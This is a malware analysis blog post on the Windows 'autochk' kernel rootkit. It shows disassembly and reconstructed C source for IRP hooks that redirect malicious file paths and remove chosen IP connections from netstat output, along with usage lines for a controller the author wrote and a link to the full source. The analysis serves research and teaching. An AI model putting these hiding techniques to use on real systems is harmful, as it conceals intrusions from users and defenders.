Autochk Rootkit Analysis

vx-underground collection // 0xrepnz

Introduction

Finally had time to write about this rootkit I saw last week. This rootkit is a very simple, it does not employ any uber fancy methods or something, but I do find it nice so I wanted to share. The name of the driver is “autochk.sys” - that’s why we’ll call it the autochk rootkit. The sample is already known (28924b6329f5410a5cca30f3530a3fb8a97c23c9509a192f2092cbdf139a91d8), but I haven’t found any public analysis. The rootkit was compiled on the 27/8/2017 according to the PE timestamp.

The rootkit implements 2 functionalities:

- **File Redirection** - Redirect malicious files to benign files. If you try to call CreateFile() to open a malicious file you’ll get a handle to a benign file.
- **Network Connection Hiding** - Hide network connections from tools like netstat.

The rootkit is signed and it works on windows 10 (tested on 10.0.17763) - it is important to say that although it is signed, it won’t load into a latest windows system because it is not signed by Microsoft. The rootkit is not that big, So I reconstructed its source code (*without using the decompiler, just to see some optimizations in my own eyes:)* (I’ll write a post about the dilema of using a decompiler soon..)). I also created a “controller” that can load this rootkit and add hidden connections / redirected files.

The Developer Of This Rootkit

The attacker is called “Emissary Panda” and according to malpedia it is “*A China-based actor that targets foreign embassies to collect data on government, defence, and technology sectors.*”. Well, the only purpose of this blog is to describe the techniques of the rootkit.

I’ll just say it is signed by “Hangzhou Bianfeng Networking Technology Co., Ltd” which is a chinese software company.

File Redirection

The rootkit uses IRP hooking to redirect files in the file system. This is mainly used to hide the files of the malware. The rootkit has a hardcoded list of files, and also allows a user mode caller to add files to that list via DeviceIoControl.

```
push    rbx
sub     rsp, 40h
lea     rdx, SourceString ; "\\FileSystem\\Ntfs"
lea     rcx, [rsp+48h+NtfsDriverName] ; DestinationString
call    cs:RtlInitUnicodeString
lea     rdx, TargetFile ; "\\WINDOWS\\System32\\DRIVERS\\fltMgr.sy"...
lea     rcx, OriginalFileName ; "\\WINDOWS\\System32\\DRIVERS\\autochk.s"...
call    FsAddFileRedirection
lea     rbx, aWindowsSystem3 ; "\\Windows\\System32\\shlwapi.dll"
lea     rcx, SourceFile ; "\\Windows\\System32\\odbcwg32.cpl"
mov     rdx, rbx        ; TargetFile
call    FsAddFileRedirection
lea     rcx, aWindowsSystem3_1 ; "\\Windows\\System32\\c_21268.nls"
mov     rdx, rbx        ; TargetFile
call    FsAddFileRedirection
lea     rcx, aWindowsSystem3_2 ; "\\Windows\\System32\\cliconfg.cpl"
mov     rdx, rbx        ; TargetFile
call    FsAddFileRedirection
lea     rcx, aWindowsSystem3_3 ; "\\Windows\\System32\\imekr61.dll"
mov     rdx, rbx        ; TargetFile
call    FsAddFileRedirection
lea     rcx, aWindowsSystem3_4 ; "\\Windows\\System32\\PINTLGNT.dll"
mov     rdx, rbx        ; TargetFile
call    FsAddFileRedirection
lea     rcx, aWindowsSystem3_5 ; "\\Windows\\System32\\chrsben.ime"
mov     rdx, rbx        ; TargetFile
call    FsAddFileRedirection
lea     rcx, aWindowsSystem3_6 ; "\\Windows\\System32\\bitsprx.ime"
mov     rdx, rbx        ; TargetFile
call    FsAddFileRedirection
lea     rcx, aWindowsSystem3_7 ; "\\Windows\\System32\\C_1950.NLS"
mov     rdx, rbx        ; TargetFile
call    FsAddFileRedirection
lea     rcx, aWindowsSystem3_31 ; "\\Windows\\System32\\C_26849.NLS"
mov     rdx, rbx        ; TargetFile
call    FsAddFileRedirection
.....................
.....................
```

The rootkit replaces the IRP handler of CreateFile of the fltmgr.sys driver:

```
HookDriverObject = FsGetDriverToHook(FileSystemDriver);

if (HookDriverObject == NULL)
{
    Status = STATUS_SUCCESS;
    goto clean;
}

if (EnableHook)
{
    //
    // ...
    //
    g_FsOriginalCreateFileDispatcher = HookDriverObject->MajorFunction[IRP_MJ_CREATE];
    HookDriverObject->MajorFunction[IRP_MJ_CREATE] = FsCreateFileHook;
}
else
{
    HookDriverObject->MajorFunction[IRP_MJ_CREATE] = g_FsOriginalCreateFileDispatcher;
}
```

Let's look at the context this hook is called:

```
00 AutochkRootkit!FsCreateFileHook
01 nt!IofCallDriver
02 nt!IoCallDriverWithTracing
03 nt!IopParseDevice
04 nt!ObpLookupObjectName
05 nt!ObOpenObjectByNameEx
06 nt!IopCreateFile
07 nt!NtCreateFile
08 nt!KiSystemServiceCopyEnd
09 ntdll!NtCreateFile
0a KERNELBASE!CreateFileInternal
0b KERNELBASE!CreateFileW
0c winmm!MatchFile
0d winmm!sndMessage
0e winmm!mmWndProc
0f USER32!UserCallWinProcCheckWow
10 USER32!DispatchMessageWorker
11 winmm!mciwindow
12 KERNEL32!BaseThreadInitThunk
13 ntdll!RtlUserThreadStart
```

In this stack trace we can see a user mode caller called CreateFileW and that triggered the hook.

This is the code of the hook:

```
static NTSTATUS FsCreateFileHook(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
        WCHAR RedirectionTarget[260];
        PIO_STACK_LOCATION IoStackLocation = IoGetCurrentIrpStackLocation(Irp);
        PUNICODE_STRING FileObjectName;

        //
        // Verify values are not NULL and this is the correct IRQL
        //
        if (
                (IoStackLocation == NULL) ||
                (IoStackLocation->FileObject == NULL) ||
                (KeGetCurrentIrql() != PASSIVE_LEVEL)
        )
        {
                goto exit;
        }

        FileObjectName = &IoStackLocation->FileObject->FileName;

        RtlZeroMemory(RedirectionTarget, 520);

    //
    // This function checks if the file is redirected.
    // If it is, STATUS_SUCCESS is returned and the RedirectionTarget is filled
    // with the target file path
    //
        if (FsGetRedirectionTarget(FileObjectName->Buffer, RedirectionTarget) != STATUS_SUCCESS)
        {
                goto exit;
        }

        //
        // Look if this process should be ignored
        //
        PCHAR ProcessName = PsGetProcessImageFileName(PsGetCurrentProcess());

        for (ULONG i = 0; i < 13; i++)
        {
                if (!_stricmp(ProcessName, g_FsHardcodedIgnoredProcessList[i]))
                {
                        goto exit;
                }
        }

        for (ULONG i = 0; i < 64; i++)
        {
                if (!_stricmp(ProcessName, g_FsDynamicIgnoredProcessesList[i]))
                {
                        goto exit;
                }
        }

    //
```

```
    // Check if the capacity of the source filename buffer is large enough
    // for the target file
    //
        ULONG TargetNameLength = (ULONG)wcslen(RedirectionTarget);
        ULONG ExistingFileNameCapacity = (FileObjectName->MaximumLength / 2);

        if (ExistingFileNameCapacity <= TargetNameLength)
        {
        //
        // Allocate new memory for the target file
        //
                PVOID NewFileName = ExAllocatePoolWithTag(NonPagedPool, 520, 'pf');

                if (!NewFileName)
                {
                        goto exit;
                }

                RtlZeroMemory(NewFileName, 520);
                RtlMoveMemory(NewFileName, RedirectionTarget, TargetNameLength);

                FileObjectName->Buffer = NewFileName;
                FileObjectName->MaximumLength = 520;
                FileObjectName->Length = (USHORT) (wcslen(NewFileName) * 2);
        }
        else
        {
        // Enough! Copy the memory to the original buffer
                RtlZeroMemory(FileObjectName->Buffer, FileObjectName->MaximumLength);
                RtlMoveMemory(FileObjectName->Buffer, RedirectionTarget, TargetNameLength * 2);
                FileObjectName->Length = (USHORT)(TargetNameLength * 2);
        }

exit:
        return g_FsOriginalCreateFileDispatcher(DeviceObject, Irp);
}
```

If a file is redirected, RedirectionTarget contains the name of the target file. After that, the original file name inside the IRP file object is replaced.

Network Connections Hiding

The purpose of this mechanism is to hide connections from tools like netstat.exe. netstat works by calling InternalGetTcpTable2() (similar to GetTcpTable()) which eventually sends a DeviceIoControl request to \Device\Nsi. The rootkit hooks the DeviceIoControl handler of nsiproxy.sys.

Let's look at the call stack:

```
00 AutochkRootkit!NetNsiProxyDeviceControlHook
```

```
01 nt!IofCallDriver
02 nt!IopSynchronousServiceTail
03 nt!IopXxxControlFile
04 nt!NtDeviceIoControlFile
05 nt!KiSystemServiceCopyEnd
06 ntdll!NtDeviceIoControlFile
07 NSI!NsiAllocateAndGetTable
08 IPHLPAPI!GetTcpTableInternal
09 IPHLPAPI!GetTcpTable2
0a IPHLPAPI!InternalGetTable
0b IPHLPAPI!InternalGetTcpTable2
0c NETSTAT!DoConnections
0d NETSTAT!main
0e NETSTAT!__mainCRTStartup
0f KERNEL32!BaseThreadInitThunk
10 ntdll!RtlUserThreadStart
```

This is the code of the hook - Because the rootkit needs to change the response of the IO request, it hooks the IO completion routine:

```
NTSTATUS NetNsiProxyDeviceControlHook(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{

        PIO_STACK_LOCATION IoStackLocation = IoGetCurrentIrpStackLocation(Irp);

        if (IoStackLocation->Parameters.DeviceIoControl.IoControlCode == IOCTL_NSI_QUERY)
        {
        //
        // Allocate a structure to save the original IO completion routine and context
        //
                PHOOKED_IO_COMPLETION Hook = (PHOOKED_IO_COMPLETION)ExAllocatePool(NonPagedPool,
sizeof(HOOKED_IO_COMPLETION));

                Hook->OriginalCompletionRoutine = IoStackLocation->CompletionRoutine;
                Hook->OriginalContext = IoStackLocation->Context;

        //
        // Replace the original routine and context
        //
                IoStackLocation->Context = Hook;
                IoStackLocation->CompletionRoutine = NetNsiProxyCompletionRoutine;

                Hook->RequestingProcess = PsGetCurrentProcess();
                Hook->InvokeOnSuccess = (IoStackLocation->Control & SL_INVOKE_ON_SUCCESS) ? TRUE :
FALSE;

                IoStackLocation->Control |= SL_INVOKE_ON_SUCCESS;
        }

        return g_NetOldNsiProxyDeviceControl(DeviceObject, Irp);
}
```

The IO completion routine is called when IoCompleteRequest() is called to complete the IRP:

```
00 AutochkRootkit!NetNsiProxyCompletionRoutine
01 nt!IopfCompleteRequest
02 nt!IofCompleteRequest
03 nsiproxy!NsippDispatch
04 AutochkRootkit!NetNsiProxyDeviceControlHook
05 nt!IofCallDriver
06 nt!IopSynchronousServiceTail
07 nt!IopXxxControlFile
08 nt!NtDeviceIoControlFile
09 nt!KiSystemServiceCopyEnd
0a ntdll!NtDeviceIoControlFile
0b NSI!NsiAllocateAndGetTable
0c IPHLPAPI!GetTcpTableInternal
```

```
0d IPHLPAPI!GetTcpTable2
0e IPHLPAPI!InternalGetTable
0f IPHLPAPI!InternalGetTcpTable2
10 NETSTAT!DoConnections
11 NETSTAT!main
12 NETSTAT!__mainCRTStartup
13 KERNEL32!BaseThreadInitThunk
14 ntdll!RtlUserThreadStart
```

Inside the completion routine, the rootkit checks if the IP address is protected or not. If it is, it zeros that entry inside the NSI structure.

```
NTSTATUS NetNsiProxyCompletionRoutine(PDEVICE_OBJECT DeviceObject, PIRP Irp, PVOID Context)
{
        PHOOKED_IO_COMPLETION HookedContext = (PHOOKED_IO_COMPLETION)Context;

        if (!NT_SUCCESS(Irp->IoStatus.Status))
        {
                goto free_exit;
        }

    //
    // Undocumented structure.
    //
        PNSI_STRUCTURE_1 NsiStructure1 = (PNSI_STRUCTURE_1)Irp->UserBuffer;

    //
    // I restored the members based on the offsets in the rootkit
    //
        if (MmIsAddressValid(NsiStructure1->Entries) && NsiStructure1->EntrySize ==
sizeof(NSI_STRUCTURE_ENTRY))
        {
                KAPC_STATE ApcState;

        KeStackAttachProcess(HookedContext->RequestingProcess, &ApcState);

        PNSI_STRUCTURE_ENTRY NsiBufferEntries = &(NsiStructure1->Entries->EntriesStart[0]);

        for (ULONG i = 0; i < NsiStructure1->NumberOfEntries; i++)
        {
            if (NetIsHiddenIpAddress(NsiBufferEntries[i].IpAddress))
            {
                RtlZeroMemory(&NsiBufferEntries[i], sizeof(NSI_STRUCTURE_ENTRY));

            }
        }

        KeUnstackDetachProcess(&ApcState);
        }


......
......
```

This method was published years ago in [a rootkits.com post], The attacker copied the method and changed it a bit so it could work in x64.

This method is pretty unreliable.. Microsoft changes the [nsi proxy driver all the time] So as a developer of this rootkit, you have to make sure to update the offsets to these structures..

This rootkit also has a second technique to hide connections - it is used only when the nsiproxy driver is not found, we won't talk about this technique.

Autochk Controller

The Autochk Rootkit can receive commands from user mode to:

- Mark process image is an ignored image. The file system redirection won't happen the process: AutochkRootkitController.exe fs-ignore-process cmd.exe
- Add a file redirection: AutochkRootkitController.exe redirect-file "\users\stuff\desktop\a.txt" "\users\stuff\desktop\b.txt"
- Hide an IP from network connections: AutochkRootkitController.exe hide-ip 192.168.58.1

I created a tool to control the autochk rootkit. It can be used to these requests to the rootkit (via IOCTLs). It works with the original signed rootkit..

Funny Stuff

There are some bugs in this rootkit.

Find the first bug:

```
NTSTATUS AutochkDeviceControl(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
      UNREFERENCED_PARAMETER(DeviceObject);

      PIO_STACK_LOCATION IoStackLocation =
IoGetCurrentIrpStackLocation(Irp);
      ULONG InputBufferLength =
IoStackLocation->Parameters.DeviceIoControl.InputBufferLength;
      Irp->IoStatus.Status = STATUS_SUCCESS;

      switch (IoStackLocation->Parameters.DeviceIoControl.IoControlCode)
      {
            ........
        ........
      }

exit:
      IoCompleteRequest(Irp, IO_NO_INCREMENT);

      return Irp->IoStatus.Status;
}
```

IoCompleteRequest frees the IRP. return Irp->IoStatus.Status is a common mistake (for beginners) in IRP handlers. The second bug is here:

```
// Inside Nsi Proxy Device Io Control Completion Routine
ExFreePool(HookedContext);

if (HookedContext->InvokeOnSuccess && IoGetNextIrpStackLocation(Irp)->CompletionRoutine)
{
    return IoGetNextIrpStackLocation(Irp)->CompletionRoutine(DeviceObject, Irp, HookedContext);
}
```

The funny thing is, this use after free bug exists also in the original rootkits.com code.

There are other funny things in this rootkit. (kernel memory read primitives.. and others..) It's funny to see this stuff coming from a so-called "apt" group.

Summary

I know this rootkit is not that fancy.. but it is nice in my opinion. IRP hooking is pretty useful for rootkits. I'll continue posting stuff about rootkit techniques (and the source code of some interesting software..), hope you enjoy. I think learning about rootkit techniques is a cool way to learn about the windows operating system. I'll be happy to hear your feedback! Contact me via twitter messages @0xrepnz

This is the link to the full source code: https://github.com/repnz/autochk-rootkit